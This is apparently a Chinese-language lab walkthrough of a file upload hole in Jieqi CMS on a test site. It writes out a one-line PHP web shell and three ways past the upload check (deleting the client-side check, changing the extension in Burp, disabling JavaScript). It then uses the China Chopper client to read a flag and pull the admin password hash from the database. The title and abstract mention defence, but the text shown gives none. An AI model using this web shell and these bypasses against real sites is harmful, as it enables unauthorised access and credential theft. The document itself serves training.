非法文件上传漏洞技术解析及防御
Abstract: 掌握杰奇 CMS
上传漏洞的利用方法,了解如何对此漏洞进行修复。
实验工具:中国菜刀 + Firebug
Table of Contents
非法文件上传漏洞
定位文件上传漏洞
用浏览器打开网页 www.test.com
,先注册用户,注册成功后,用该用户登录,用户首页如下:
可以看到,用户头像为默认,故首先定位到用户上传头像功能。点击 个人资料
,进入 userdetail.php
,页面显示如下:
判断用户在设置头像这里是否存在文件上传漏洞。
在桌面上新建一个名为 shell.php
的文件,写入一句话木马。再复制一份,命名为 shell.jpg
文件。
1 | eval($_POST['cmd']); @ |
在 C:\Tools\抓包改包\Burp Suite
中打开 burp
,设置浏览器为手动代理。
用 burpsuite
抓取上传 shell.jpg
的数据包,然后发送到 Repeater
,然后在 Repeater
做各种尝试,查看 Response
。
把文件后缀修改为 .php
,文件上传不成功。因此尝试寻找其他位置。
在我的空间
找到了上传相册功能,尝试在这里进行文件上传。
三种方法绕过检测
删除函数绕过
在上传相册页面,点击 浏览
选择 shell.php
,尝试在代码中找到前端 js
检测的代码。
发现 form
表单,提交时调用了 checkFile()
函数,直接把它删掉,
点击上传,发现上传成功。
抓包绕过
用 burpsuit
抓包方法绕过,点击浏览,选择 shell.jpg
文件,点击上传。
在 burp
界面把文件后缀名改为 .php
。
发现上传成功。
禁止 JS 功能绕过
选中 Disable JavaScript
,可以上传 .php
文件。
使用中国菜刀
打开菜刀,填写地址和密码,选择 php
脚本了类型。
添加成功后,选择文件目录,成功打开。
找到系统盘根目录下的 flag
文件。
双击打开文件。
返回主界面,右击选择数据库管理,
点击配置,填写如下内容。
1 | <T>MYSQL</T> |
点击提交,成功连接数据库。
发现 testjie
数据库,找到该库下的表 jieqi_system_users
。
在输入框输入,如下 SQL
语句,点击执行,成功获取 admin
的密码。
1 | SELECT pass FROM jieqi_system_users WHERE name='admin'; |
用在线的 MD5
解密工具解密。